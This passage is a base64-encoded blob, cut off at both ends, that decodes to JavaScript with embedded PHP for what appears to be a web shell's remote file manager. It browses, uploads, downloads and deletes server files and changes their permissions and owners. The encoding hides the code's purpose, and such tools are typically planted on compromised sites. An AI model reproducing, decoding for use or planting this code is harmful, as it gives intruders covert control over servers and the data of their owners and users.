yZW50Tm9kZS5wYXJlbnROb2RlLmVsZW1lbnRzWzFdLnBsYWNlaG9sZGVyICE9PSAnJyAmJiBjb25maXJtKCdEbyB5b3Ugd2FudCB0byByZWxvYWQgdGhpcyBmaWxlIHdpdGggc2VsZWN0ZWQgY2hhcnNldD8nKSkgcmxkRmlsZShlKTsKfQoKZnVuY3Rpb24gdWlTaHdGcm1GaWxlKGZpbGUsIGNudG50LCBjaHJzdCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ3RtcGxGcm1GaWxlJykuY29udGVudC5maXJzdENoaWxkLmNsb25lTm9kZSh0cnVlKTsKIHVwZEZybUZpbGUoZnJtLCBmaWxlLCBjbnRudCwgY2hyc3QpOwogZWxtQnlJZCgnZGl2V25kd3MnKS5hcHBlbmRDaGlsZChmcm0pOwogdWlTaHdNb2RhbChmcm0pOwp9CgpmdW5jdGlvbiBvbkdvVG8oZGl2LCBkYXRhLCBjaHJzdCkgewogaWYgKHR5cGVvZiBkYXRhID09PSAnc3RyaW5nJykgewogIHZhciBwb3MgPSBkYXRhLmxhc3RJbmRleE9mKCdceDAzXHgxRScpOwogIHN3aXRjaCAoZGF0YVtwb3MgKyAyXSkgewogICBjYXNlICdceDA2JzoKICAgIHVpU2h3RnJtRmlsZShKU09OLnBhcnNlKGRhdGEuc2xpY2UocG9zICsgMykpLCBkYXRhLnNsaWNlKDAsIHBvcyksIGNocnN0KTsKICAgIHVpRGVsTXNnKGRpdik7CiAgICBicmVhazsKICAgY2FzZSAnXHgxNSc6CiAgICB1aUNobmdNc2coZGl2LCAiQ2FuJ3Qgb3BlbiAiICsgZGF0YS5zbGljZShwb3MgKyAzKSwgJ0VycicpOwogICAgYnJlYWs7CiAgIGRlZmF1bHQ6CiAgICB1aU5ldEVyck1zZyhkaXYpOwogICAgYnJlYWs7CiAgfQogfSBlbHNlIHsKICBpZiAoZGF0YS5mLmxlbmd0aCA9PT0gMCAmJiAoZGF0YS5tID09PSAwIHx8IGRhdGEubSA9PT0gMikpIHVpQ2huZ01zZyhkaXYsICJDYW4ndCByZWFkIGRpciAiICsgZGF0YS5wLCAnRXJyJyk7CiAgZWxzZSB7CiAgIGVsbVB0aC52YWx1ZSA9IGRhdGEucDsKICAgZWxtUHRoLnBsYWNlaG9sZGVyID0gZGF0YS5wOwogICBsaXN0UGF0aHMoZGF0YSk7CiAgIHVpRGVsTXNnKGRpdik7CiAgfQogfQp9CgpmdW5jdGlvbiBnb1RvKHB0aCkgewogaWYgKHB0aCAhPT0gJycgJiYgcHRoICE9PSAnficpIHB0aCA9IGNhbm9uUGF0aChwdGgsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiBmbUFqeFNuZCgnR28gJyArICgocHRoID09PSAnJyB8fCBwdGggPT09ICd+JykgPyAnaG9tZScgOiAndG8gJyArIHB0aCksIG9uR29UbywgewogIGc6IHB0aAogfSk7CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHVpVGdnbFN1Yk1lbnUoZSkgewogdmFyIGRpdiA9IGUuY3VycmVudFRhcmdldC5uZXh0U2libGluZywKICBzdHlsZSA9IGRpdi5zdHlsZTsKIGlmIChzdHlsZS5kaXNwbGF5ID09PSAnYmxvY2snKSBzdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogZWxzZSB7CiAgc3R5bGUuZGlzcGxheSA9ICdibG9jayc7CiAgZGl2LmZpcnN0Q2hpbGQuZm9jdXMoKTsKIH0KfQoKZnVuY3Rpb24gbWVudUJ1dHRvbkJsdXIoZSkgewogc2V0VGltZW91dCh1aU1lbnVCdXR0b25CbHVyLCAxMCwgZS5uZXh0U2libGluZyk7Cn0KCmZ1bmN0aW9uIG1lbnVJdGVtQmx1cihlKSB7CiBzZXRUaW1lb3V0KHVpTWVudUl0ZW1CbHVyLCAxMCwgZS5wYXJlbnROb2RlKTsKfQoKZnVuY3Rpb24gdWlNZW51QnV0dG9uQmx1cihtZW51RGl2KSB7CiB2YXIgYWN0dlBybnQgPSBkb2N1bWVudC5hY3RpdmVFbGVtZW50LnBhcmVudE5vZGU7CiBpZiAoYWN0dlBybnQgIT09IG1lbnVEaXYpIG1lbnVEaXYuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKfQoKZnVuY3Rpb24gdWlNZW51SXRlbUJsdXIobWVudURpdikgewogdmFyIGFjdHZQcm50ID0gZG9jdW1lbnQuYWN0aXZlRWxlbWVudC5wYXJlbnROb2RlOwogaWYgKGFjdHZQcm50ICE9PSBtZW51RGl2ICYmIGFjdHZQcm50ICE9PSBtZW51RGl2LnBhcmVudE5vZGUpIG1lbnVEaXYuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKfQoKZnVuY3Rpb24gdWlEc3RyTW9kYWwod25kdykgewogZWxtQnlJZCgnZGl2V25kd3MnKS5yZW1vdmVDaGlsZCh3bmR3KTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gdXBkQnVmZmVyU3RhdGUoKSB7CiB2YXIgZWxtID0gZWxtQnlJZCgnYnRuQnVmZmVyTWVudScpLAogIGlzRW1wdHkgPSBmbUJ1ZmZlci5sZW5ndGggPT09IDA7CiBpZiAoZWxtLmRpc2FibGVkICE9PSBpc0VtcHR5KSBlbG0uZGlzYWJsZWQgPSBpc0VtcHR5OwogaWYgKGlzRW1wdHkpIHsKICBlbG0gPSBlbG1CeUlkKCdmcm1CdWZmZXInKTsKICBpZiAoZWxtLnN0eWxlLnZpc2liaWxpdHkgPT09ICd2aXNpYmxlJykgewogICB1aUNsc01vZGFsKGVsbSk7CiAgIGVsbSA9IGVsbUJ5SWQoJ3RibEJ1ZmZlcicpOwogICBlbG0ucmVtb3ZlQ2hpbGQoZWxtLnRCb2RpZXNbMF0pOwogIH0KIH0KfQoKZnVuY3Rpb24gcm1GaWxlcyhkYXRhKSB7CiB2YXIgYnB0aCA9IGRhdGEucCwKICBmaWxlcyA9IGRhdGEuZiwKICBmbHNUYmRzID0gZWxtVGJsRmlsZXMudEJvZGllcywKICBmbHNUYmR5ID0gdGJkeUJ5UGF0aChicHRoKSwKICBiZnJUYmR5ID0gZWxtQnlJZCgnZnJtQnVmZmVyJykuc3R5bGUudmlzaWJpbGl0eSA9PT0gJ3Zpc2libGUnID8gZWxtQnlJZCgndGJsQnVmZmVyJykudEJvZGllc1swXSA6IG51bGw7CiBmb3IgKHZhciBpID0gZmlsZXMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpIHsKICB2YXIgZnB0aCA9IGZpbGVzW2ldOwogIGlmIChmbHNUYmR5KQogICBmb3IgKHZhciBqID0gZmxzVGJkeS5yb3dzLmxlbmd0aCAtIDE7IGogPiAxOyAtLWopCiAgICBpZiAoZmxzVGJkeS5yb3dzW2pdLmNlbGxzWzJdLmZpcnN0Q2hpbGQudGl0bGUgPT09IGZwdGgpIHsKICAgICBmbHNUYmR5LnJlbW92ZUNoaWxkKGZsc1RiZHkucm93c1tqXSk7CiAgICAgYnJlYWs7CiAgICB9IGZwdGggPSBicHRoICsgZnB0aDsKICB2YXIgbiA9IGZtQnVmZmVyLmluZGV4T2YoZnB0aCk7CiAgaWYgKG4gPiAtMSkgewogICBmbUJ1ZmZlci5zcGxpY2UobiwgMSk7CiAgIGlmIChiZnJUYmR5KSBiZnJUYmR5LnJlbW92ZUNoaWxkKGJmclRiZHkucm93c1tuXSk7CiAgfQogIGZwdGggKz0gRFM7CiAgdmFyIGxlbiA9IGZwdGgubGVuZ3RoOwogIGZvciAobiA9IGZsc1RiZHMubGVuZ3RoIC0gMTsgbiA+PSAwOyAtLW4pCiAgIGlmIChmbHNUYmRzW25dLnJvd3NbMF0uY2VsbHNbMF0udGV4dENvbnRlbnQuc2xpY2UoMCwgbGVuKSA9PT0gZnB0aCkgZWxtVGJsRmlsZXMucmVtb3ZlQ2hpbGQoZmxzVGJkc1tuXSk7CiAgZm9yIChuID0gZm1CdWZmZXIubGVuZ3RoIC0gMTsgbiA+PSAwOyAtLW4pCiAgIGlmIChmbUJ1ZmZlcltuXS5zbGljZSgwLCBsZW4pID09PSBmcHRoKSB7CiAgICBmbUJ1ZmZlci5zcGxpY2UobiwgMSk7CiAgICBpZiAoYmZyVGJkeSkgYmZyVGJkeS5yZW1vdmVDaGlsZChiZnJUYmR5LnJvd3Nbbl0pOwogICB9CiB9Cn0KCmZ1bmN0aW9uIG9uQ2huZ1BycHMoZGl2LCBkYXRhKSB7CiBpZiAoJ3InIGluIGRhdGEpIHsKICBmb3IgKHZhciBpID0gMCwgYyA9IGRhdGEuci5sZW5ndGg7IGkgPCBjOyArK2kpIHJtRmlsZXMoZGF0YS5yW2ldKTsKICB1cGRCdWZmZXJTdGF0ZSgpOwogfQogaWYgKCdjJyBpbiBkYXRhKQogIGZvciAodmFyIGkgPSAwLCBjID0gZGF0YS5jLmxlbmd0aDsgaSA8IGM7ICsraSkgdXBkVGJsRmlsZXMoZGF0YS5jW2ldIDw/cGhwIGlmKE5JWCllY2hvJyxkYXRhLm8sZGF0YS5nJzs/Pik7CiBpZiAoJ2UnIGluIGRhdGEpIHVpQ2huZ01zZyhkaXYsICJDYW4ndCBjaGFuZ2UiICsgKGRhdGEuZS5sZW5ndGggPT09IDEgPyAnICcgKyBkYXRhLmVbMF0gOiAnOlxuJyArIGRhdGEuZS5qb2luKCdcbicpKSwgJ0VycicpOwogZWxzZSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBjaG5nUHJwcyhlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGZybSA9IGUudGFyZ2V0LAogIGRhdGEgPSB7CiAgIGg6IFtdCiAgfSwKICBmbGRzID0gewogICBwOiAncGF0aCcsCiAgIHQ6ICdtb2RpZmllZCB0aW1lJwogICA8P3BocCBpZihOSVgpZWNobyIsZToncGVybWlzc2lvbnMnLG86J293bmVyJyxyOidncm91cCciOz8+CiAgfSwKICBjaG5nZCA9IFtdOwogZm9yICh2YXIgZmllbGQgaW4gZmxkcykKICBpZiAoZnJtW2ZpZWxkXS52YWx1ZSAhPT0gJycgJiYgZnJtW2ZpZWxkXS52YWx1ZSAhPT0gZnJtW2ZpZWxkXS5wbGFjZWhvbGRlcikgewogICBkYXRhW2ZpZWxkXSA9IGZybVtmaWVsZF0udmFsdWU7CiAgIGNobmdkLnB1c2goZmxkc1tmaWVsZF0pOwogIH0gaWYgKGNobmdkLmxlbmd0aCA+IDApIHsKICBpZiAoJ3AnIGluIGRhdGEpIGRhdGEucCA9IGNhbm9uUGF0aChkYXRhLnAsIGVsbVB0aC5wbGFjZWhvbGRlcik7CiAgdmFyIGVsbSA9IGZybVsnaFtdJ10sCiAgIGNudCA9IGVsbS5sZW5ndGggPyBlbG0ubGVuZ3RoIDogMTsKICBpZiAoY250ID4gMSkKICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjbnQ7ICsraSkgZGF0YS5oLnB1c2goZWxtW2ldLnZhbHVlKTsKICBlbHNlIGRhdGEuaC5wdXNoKGVsbS52YWx1ZSk7CiAgZm1BanhTbmQoJ0NoYW5nZSAnICsgY2huZ2Quam9pbignLCAnKSArICcgZm9yICcgKyAoY250ID4gMSA/ICdzZWxlY3RlZCBmaWxlcyAoJyArIGNudCArICcpJyA6IGVsbS52YWx1ZSksIG9uQ2huZ1BycHMsIGRhdGEpOwogfQogdWlEc3RyTW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gc2V0RXJsRGF0ZShlKSB7CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdmFyIGVsbSA9IGUudGFyZ2V0LnBhcmVudE5vZGUubGFzdENoaWxkLAogIGVybERhdGUgPSBlbG0udmFsdWU7CiBmb3IgKHZhciBpID0gZWxtVGJsRmlsZXMudEJvZGllcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgewogIHZhciByb3dzID0gZWxtVGJsRmlsZXMudEJvZGllc1tpXS5yb3dzOwogIGZvciAodmFyIGogPSByb3dzLmxlbmd0aCAtIDE7IGogPiAxOyAtLWopCiAgIGlmIChyb3dzW2pdLmNlbGxzWzRdLnRleHRDb250ZW50IDwgZXJsRGF0ZSB8fCBlcmxEYXRlID09PSAnJykgZXJsRGF0ZSA9IHJvd3Nbal0uY2VsbHNbNF0udGV4dENvbnRlbnQ7CiB9CiBpZiAoZXJsRGF0ZSAhPT0gJycgJiYgZXJsRGF0ZSA8IGVsbS52YWx1ZSkgZWxtLnZhbHVlID0gZXJsRGF0ZTsKfQoKZnVuY3Rpb24gdWlTaHdGcm1QcnBzKGRhdGEsIGZpbGVzKSB7CiB2YXIgZnJtID0gZWxtQnlJZCgndG1wbEZybVBycHMnKS5jb250ZW50LmZpcnN0Q2hpbGQuY2xvbmVOb2RlKHRydWUpOwogZm9yICh2YXIgaSA9IDAsIGMgPSBmaWxlcy5sZW5ndGg7IGkgPCBjOyArK2kpIGZybS5hcHBlbmRDaGlsZChuZXdFbG0oJ2lucHV0JywgewogIHR5cGU6ICdoaWRkZW4nLAogIG5hbWU6ICdoW10nLAogIHZhbHVlOiBmaWxlc1tpXQogfSkpOwogZnJtLnAudmFsdWUgPSBkYXRhWzBdOwogZnJtLnAucGxhY2Vob2xkZXIgPSBkYXRhWzBdOwogZnJtLnQudmFsdWUgPSBkYXRhWzFdOwogZnJtLnQucGxhY2Vob2xkZXIgPSBkYXRhWzFdOwogPD9waHAgaWYoTklYKXs/PmZybS5lLnZhbHVlID0gZGF0YVsyXTsKIGZybS5lLnBsYWNlaG9sZGVyID0gZGF0YVsyXTsKIGZybS5vLnZhbHVlID0gZGF0YVszXTsKIGZybS5vLnBsYWNlaG9sZGVyID0gZGF0YVszXTsKIGZybS5yLnZhbHVlID0gZGF0YVs0XTsKIGZybS5yLnBsYWNlaG9sZGVyID0gZGF0YVs0XTsKIDw/cGhwIH0/PmVsbUJ5SWQoJ2RpdlduZHdzJykuYXBwZW5kQ2hpbGQoZnJtKTsKIHVpU2h3TW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gb25HZXRQcnBzKGRpdiwgZGF0YSkgewogaWYgKGRhdGFbNF0gPT09IDApIHJldHVybiB1aUNobmdNc2coZGl2LCAiQ2FuJ3QgZ2V0IHByb3BlcnRpZXMgb2YgIiArIGRhdGFbMF0sICdFcnInKTsKIHVpU2h3RnJtUHJwcyhbZGF0YVswXSwgdXRzVG9TdHIoZGF0YVsyXSksIChkYXRhWzRdIHwgMCkudG9TdHJpbmcoOCkuc2xpY2UoLTQpLCBkYXRhWzVdID09PSAtMSA/ICc/JyA6IGRhdGFbNV0sIGRhdGFbNl0gPT09IC0xID8gJz8nIDogZGF0YVs2XV0sIFtkYXRhWzBdXSk7CiB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBnZXRQcnBzKGZwdGgpIHsKIGZtQWp4U25kKCdHZXQgcHJvcGVydGllcyBvZiAnICsgZnB0aCwgb25HZXRQcnBzLCB7CiAgaTogZnB0aAogfSk7Cn0KCmZ1bmN0aW9uIG9uRHduRmlsZXMoZGl2LCBkYXRhKSB7CiB1aUNobmdNc2coZGl2LCAiQ2FuJ3QgZCIgKyBkaXYuY2hpbGROb2Rlc1sxXS5ub2RlVmFsdWUuc2xpY2UoMSwgLTIpLCAnRXJyJyk7Cn0KCmZ1bmN0aW9uIGR3bkZpbGVzKGZpbGVzKSB7CiB2YXIgY250ID0gZmlsZXMubGVuZ3RoOwogaWYgKGNudCA+IDApIGZtQWp4U25kKCdEb3dubG9hZCAnICsgKGNudCA+IDEgPyAnc2VsZWN0ZWQgZmlsZXMgKCcgKyBjbnQgKyAnKScgOiBmaWxlc1swXSksIG9uRHduRmlsZXMsIHsKICBkOiBjbnQgPiAxID8gZmlsZXMgOiBmaWxlc1swXQogfSk7Cn0KCmZ1bmN0aW9uIG9uRGVsRmlsZXMoZGl2LCBkYXRhKSB7CiBpZiAoJ3InIGluIGRhdGEpIHsKICBmb3IgKHZhciBpID0gZGF0YS5yLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSBybUZpbGVzKGRhdGEucltpXSk7CiAgdXBkQnVmZmVyU3RhdGUoKTsKIH0KIGlmICgnZScgaW4gZGF0YSkgdWlDaG5nTXNnKGRpdiwgIkNhbid0IGRlbGV0ZSAiICsgKGRhdGEuZS5sZW5ndGggPT09IDEgPyBkYXRhLmVbMF0gOiAnOlxuJyArIGRhdGEuZS5qb2luKCdcbicpKSwgJ0VycicpOwogZWxzZSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBkZWxGaWxlcyhmaWxlcykgewogdmFyIGNudCA9IGZpbGVzLmxlbmd0aCwKICBtc2cgPSAnRGVsZXRlICcgKyAoY250ID4gMSA/ICdzZWxlY3RlZCBmaWxlcyAoJyArIGNudCArICcpJyA6IGZpbGVzWzBdKTsKIGlmIChjbnQgPiAwICYmIGNvbmZpcm0obXNnICsgJyA/JykpIGZtQWp4U25kKG1zZywgb25EZWxGaWxlcywgewogIHU6IGZpbGVzCiB9KTsKfQoKZnVuY3Rpb24gb25GYXN0QWN0Q2xpY2soZSkgewogdmFyIHRyZ3QgPSBlLnRhcmdldDsKIGlmICh0cmd0LnRhZ05hbWUgIT09ICdBJykgcmV0dXJuOwogZS5wcmV2ZW50RGVmYXVsdCgpOwogZS5zdG9wUHJvcGFnYXRpb24oKTsKIHRyZ3QuYmx1cigpOwogdmFyIGZwdGggPSBjYW5vblBhdGgoZWxtUHRoLnZhbHVlLCBlbG1QdGgucGxhY2Vob2xkZXIpOwogaWYgKGZwdGggPT09ICcnKSByZXR1cm47CiBzd2l0Y2ggKHRyZ3QudGV4dENvbnRlbnQpIHsKICBjYXNlICdQcm9wZXJ0aWVzJzoKICAgZ2V0UHJwcyhmcHRoKTsKICAgYnJlYWs7CiAgY2FzZSAnRG93bmxvYWQnOgogICBkd25GaWxlcyhbZnB0aF0pOwogICBicmVhazsKICBjYXNlICdEZWxldGUnOgogICBkZWxGaWxlcyhbZnB0aF0pOwogICBicmVhazsKIH0KfQoKZnVuY3Rpb24gb25VcGxGaWxlcyhkaXYsIGRhdGEpIHsKIGlmICgncCcgaW4gZGF0YSkgdXBkVGJsRmlsZXMoZGF0YTw/cGhwIGlmKE5JWCllY2hvJyxkYXRhLm8sZGF0YS5nJzs/Pik7CiBpZiAoJ2UnIGluIGRhdGEpIHsKICB2YXIgZXJycyA9IFsiY2FuJ3QgbW92ZSBmaWxlIHRvIGN1cnJlbnQgZGlyIiwgJ2ZpbGUgc2l6ZSBleGNlZWRzIHRoZSB1cGxvYWRfbWF4X2ZpbGVzaXplIGRpcmVjdGl2ZScsICdmaWxlIHNpemUgZXhjZWVkcyB0aGUgbWF4X2ZpbGVfc2l6ZSBwcm9wZXJ0eScsICdmaWxlIG9ubHkgcGFydGlhbGx5IHVwbG9hZGVkJywgJ2ZpbGUgbm90IHVwbG9hZGVkJywgJ1dobyBEbyBZb3UgVm9vZG9vLCBCaXRjaD8nLCAnbWlzc2luZyBhIHRlbXBvcmFyeSBmb2xkZXInLCAnZmFpbGVkIHRvIHdyaXRlIHRvIGRpc2snLCAnc29tZSBQSFAgZXh0ZW5zaW9uIHN0b3BwZWQgdGhlIHVwbG9hZCddLAogICBjbnQgPSBkYXRhLmUubGVuZ3RoLAogICBzZXAgPSBjbnQgPT09IDEgPyAnICcgOiAnXG4nLAogICBtc2cgPSAiQ2FuJ3Qgc2F2ZSB1cGxvYWRlZCBmaWxlIjsKICBpZiAoY250ID4gMSkgbXNnICs9ICdzOic7CiAgZm9yICh2YXIgaSA9IDA7IGkgPCBjbnQ7ICsraSkgbXNnICs9IHNlcCArIGRhdGEuZVtpXS5zbGljZSgxKSArICcgKCcgKyBlcnJzW2RhdGEuZVtpXS5zbGljZSgwLCAxKV0gKyAnKSc7CiAgdWlDaG5nTXNnKGRpdiwgbXNnLCAnRXJyJyk7CiB9IGVsc2UgdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gdXBsRmlsZXMoKSB7CiB2YXIgaW5wID0gZWxtQnlJZCgnaW5wVXBsJyksCiAgZmxzID0gaW5wLmZpbGVzLAogIGxlbiA9IGZscy5sZW5ndGg7CiBmbUFqeFNuZCgnVXBsb2FkICcgKyAobGVuID4gMSA/IGxlbiArICcgZmlsZXMnIDogZmxzWzBdLm5hbWUpLCBvblVwbEZpbGVzLCB7CiAgcDogZWxtUHRoLnBsYWNlaG9sZGVyCiB9LCBpbnAuZm9ybSk7Cn0KCmZ1bmN0aW9uIG9uTWtGaWxlKGRpdiwgZGF0YSkgewogaWYgKCdlJyBpbiBkYXRhKSByZXR1cm4gdWlDaG5nTXNnKGRpdiwgIkNhbid0IGMiICsgZGl2LmNoaWxkTm9kZXNbMV0ubm9kZVZhbHVlLnNsaWNlKDEsIC0xKSArIGRhdGEuZSwgJ0VycicpOwogdXBkVGJsRmlsZShkYXRhKTsKIHVpRGVsTXNnKGRpdik7Cn0KCmZ1bmN0aW9uIG1rTG5rKGUpIHsKIGUucHJldmVudERlZmF1bHQoKTsKIGUuc3RvcFByb3BhZ2F0aW9uKCk7CiB2YXIgZnJtID0gZWxtQnlJZCgnZnJtTG5rJyksCiAgbG5rID0gY2Fub25QYXRoKGZybS5lbGVtZW50c1sxXS52YWx1ZSwgZWxtUHRoLnBsYWNlaG9sZGVyKTsKIGZtQWp4U25kKCdDcmVhdGUgJyArIGZybS50LnRleHRWYWx1ZS50b0xvd2VyQ2FzZSgpICsgJyBsaW5rICcgKyBsbmsgKyAnIHRvICcgKyBmcm0ucC52YWx1ZSwgb25Na0ZpbGUsIHsKICBsOiBsbmsKIH0sIGZybSk7CiB1aUNsc01vZGFsKGZybSk7Cn0KCmZ1bmN0aW9uIHVpU2h3RnJtTG5rKHApIHsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1MbmsnKTsKIGZybS5wLnZhbHVlID0gcDsKIGZybS5lbGVtZW50c1sxXS52YWx1ZSA9IHA7CiBmcm0udC5zZWxlY3RlZEluZGV4ID0gMDsKIHVpU2h3TW9kYWwoZnJtKTsKfQoKZnVuY3Rpb24gbWtEaXIoYnApIHsKIHZhciBmcCA9IHByb21wdCgnQ3JlYXRlIERpcmVjdG9yeScsIGJwKTsKIGlmIChmcCAhPT0gbnVsbCkgewogIGZwID0gY2Fub25QYXRoKGZwLCBicCk7CiAgZm1BanhTbmQoJ0NyZWF0ZSBkaXJlY3RvcnkgJyArIGZwLCBvbk1rRmlsZSwgewogICBtOiBmcAogIH0pOwogfQp9CgpmdW5jdGlvbiBvbkNydE1lbnVDbGljayhlKSB7CiB2YXIgdHJndCA9IGUudGFyZ2V0OwogaWYgKHRyZ3QudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm47CiBlLnByZXZlbnREZWZhdWx0KCk7CiBlLnN0b3BQcm9wYWdhdGlvbigpOwogdHJndC5ibHVyKCk7CiB2YXIgYnB0aCA9IGVsbVB0aC5wbGFjZWhvbGRlcjsKIHN3aXRjaCAodHJndC50ZXh0Q29udGVudCkgewogIGNhc2UgJ0ZpbGUnOgogICB1aVNod0ZybUZpbGUoW2JwdGgsIG51bGxdLCAnJywgZWxtQnlJZCgnZm1DU1NlbmQnKS52YWx1ZSk7CiAgIGJyZWFrOwogIGNhc2UgJ0xpbmsnOgogICB1aVNod0ZybUxuayhicHRoKTsKICAgYnJlYWs7CiAgY2FzZSAnRGlyZWN0b3J5JzoKICAgbWtEaXIoYnB0aCk7CiAgIGJyZWFrOwogfQp9CgpmdW5jdGlvbiB1aVVubXJrVGJsRmlsZXMoZmlsZXMpIHsKIHZhciBhcyA9IGVsbVRibEZpbGVzLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoJ21ya2QnKTsKIGZvciAodmFyIGkgPSBhcy5sZW5ndGggLSAxOyBpID49IDA7IC0taSkgewogIHZhciBuID0gZmlsZXMuaW5kZXhPZihhc1tpXS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2VsbHNbMF0uZmlyc3RDaGlsZC52YWx1ZSk7CiAgaWYgKG4gPiAtMSkgewogICBhc1tpXS5jbGFzc0xpc3QucmVtb3ZlKCdtcmtkJyk7CiAgIGZpbGVzLnNwbGljZShuLCAxKTsKICAgaWYgKGZpbGVzLmxlbmd0aCA9PT0gMCkgYnJlYWs7CiAgfQogfQp9CgpmdW5jdGlvbiB1bm1hcmtGaWxlcygpIHsKIHZhciB0YmR5ID0gZWxtQnlJZCgndGJsQnVmZmVyJykudEJvZGllc1swXSwKICBpbnBzID0gZWxtQnlJZCgnZnJtQnVmZmVyJylbJ2ZbXSddLAogIGZpbGVzID0gW107CiBpZiAoIWlucHMubGVuZ3RoKSBpbnBzID0gW2lucHNdOwogZm9yICh2YXIgaSA9IGlucHMubGVuZ3RoIC0gMTsgaSA+PSAwOyAtLWkpCiAgaWYgKGlucHNbaV0uY2hlY2tlZCkgewogICBmaWxlcy5wdXNoKGZtQnVmZmVyLnNwbGljZShpLCAxKVswXSk7CiAgIHRiZHkucmVtb3ZlQ2hpbGQoaW5wc1tpXS5wYXJlbnROb2RlLnBhcmVudE5vZGUpOwogIH0gaWYgKGZpbGVzLmxlbmd0aCA+IDApIHsKICB1aVVubXJrVGJsRmlsZXMoZmlsZXMpOwogIHVwZEJ1ZmZlclN0YXRlKCk7CiB9Cn0KCmZ1bmN0aW9uIG9uVGJsQnVmZmVyQ2xpY2soZSkgewogdmFyIHRyZ3QgPSBlLnRhcmdldDsKIGlmICh0cmd0LnRhZ05hbWUgIT09ICdBJykgcmV0dXJuOwogZS5wcmV2ZW50RGVmYXVsdCgpOwogZS5zdG9wUHJvcGFnYXRpb24oKTsKIHZhciByb3cgPSB0cmd0LnBhcmVudE5vZGUucGFyZW50Tm9kZSwKICBmcHRoID0gcm93LmNlbGxzWzBdLmZpcnN0Q2hpbGQudmFsdWU7CiBzd2l0Y2ggKHRyZ3QucGFyZW50Tm9kZS5jZWxsSW5kZXgpIHsKICBjYXNlIDE6CiAgIGdvVG8oZnB0aCk7CiAgIGJyZWFrOwogIGNhc2UgMjoKICAgZm1CdWZmZXIuc3BsaWNlKHJvdy5yb3dJbmRleCAtIDEsIDEpOwogICByb3cucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChyb3cpOwogICB1aVVubXJrVGJsRmlsZXMoW2ZwdGhdKTsKICAgdXBkQnVmZmVyU3RhdGUoKTsKICAgYnJlYWs7CiB9Cn0KCmZ1bmN0aW9uIHVpU2h3RnJtQnVmZmVyKCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybUJ1ZmZlcicpOwogaWYgKGZybS5zdHlsZS52aXNpYmlsaXR5ID09PSAndmlzaWJsZScpIHJldHVybjsKIHZhciB0YmwgPSBlbG1CeUlkKCd0YmxCdWZmZXInKSwKICB0YmR5ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgndGJvZHknKSwKICBlbG1UbXBsQnVmZmVyUm93ID0gZWxtQnlJZCgndG1wbEJ1ZmZlclJvdycpLmNvbnRlbnQuZmlyc3RDaGlsZDsKIGZybS5lbGVtZW50c1swXS5jaGVja2VkID0gZmFsc2U7CiBpZiAodGJsLnRCb2RpZXMubGVuZ3RoID4gMCkgdGJsLnJlbW92ZUNoaWxkKHRibC50Qm9kaWVzWzBdKTsKIGZtQnVmZmVyLnNvcnQoKTsKIGZvciAodmFyIGkgPSAwLCBjID0gZm1CdWZmZXIubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgdmFyIHJvdyA9IGVsbVRtcGxCdWZmZXJSb3cuY2xvbmVOb2RlKHRydWUpOwogIHJvdy5jZWxsc1swXS5maXJzdENoaWxkLnZhbHVlID0gZm1CdWZmZXJbaV07CiAgcm93LmNlbGxzWzFdLmZpcnN0Q2hpbGQudGV4dENvbnRlbnQgPSBmbUJ1ZmZlcltpXTsKICB0YmR5LmFwcGVuZENoaWxkKHJvdyk7CiB9CiB0YmwuYXBwZW5kQ2hpbGQodGJkeSk7CiB1aVNod01vZGFsKGZybSk7Cn0KCmZ1bmN0aW9uIGdldE5hbWUoZikgewogcmV0dXJuIGZbMF07Cn0KCmZ1bmN0aW9uIG9uRmxzaEJ1ZmZlcihkaXYsIGRhdGEpIHsKIHZhciBmaWxlcyA9ICgnYycgaW4gZGF0YSkgPyBkYXRhLmMgOiBbXTsKIGlmICgnbScgaW4gZGF0YSkKICBmb3IgKHZhciBpID0gZGF0YS5tLmxlbmd0aCAtIDE7IGkgPj0gMDsgLS1pKSB7CiAgIHJtRmlsZXMoewogICAgcDogZGF0YS5tW2ldLnAsCiAgICBmOiBkYXRhLm1baV0uZi5tYXAoZ2V0TmFtZSkKICAgfSk7CiAgIGZpbGVzID0gZmlsZXMuY29uY2F0KGRhdGEubVtpXS5mKTsKICB9CiB1cGRUYmxGaWxlcyh7CiAgIHA6IGRhdGEucCwKICAgZjogZmlsZXMKICB9CiAgPD9waHAgaWYoTklYKWVjaG8nLGRhdGEubyxkYXRhLmcnOz8+KTsKIGlmICgnZScgaW4gZGF0YSkgewogIHZhciBtc2cgPSBkaXYuY2hpbGROb2Rlc1sxXS5ub2RlVmFsdWU7CiAgdWlDaG5nTXNnKGRpdiwgIkNhbid0ICIgKyBtc2cuc2xpY2UoMCwgMTApLnRvTG93ZXJDYXNlKCkgKyBtc2cuc2xpY2UoMjYsIC0xKSArICI6XG4iICsgZGF0YS5lLmpvaW4oIlxuIiksICdFcnInKTsKIH0gZWxzZSB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBmbHVzaEJ1ZmZlcihhY3QpIHsKIHZhciBicHRoID0gZWxtUHRoLnBsYWNlaG9sZGVyLAogIGRh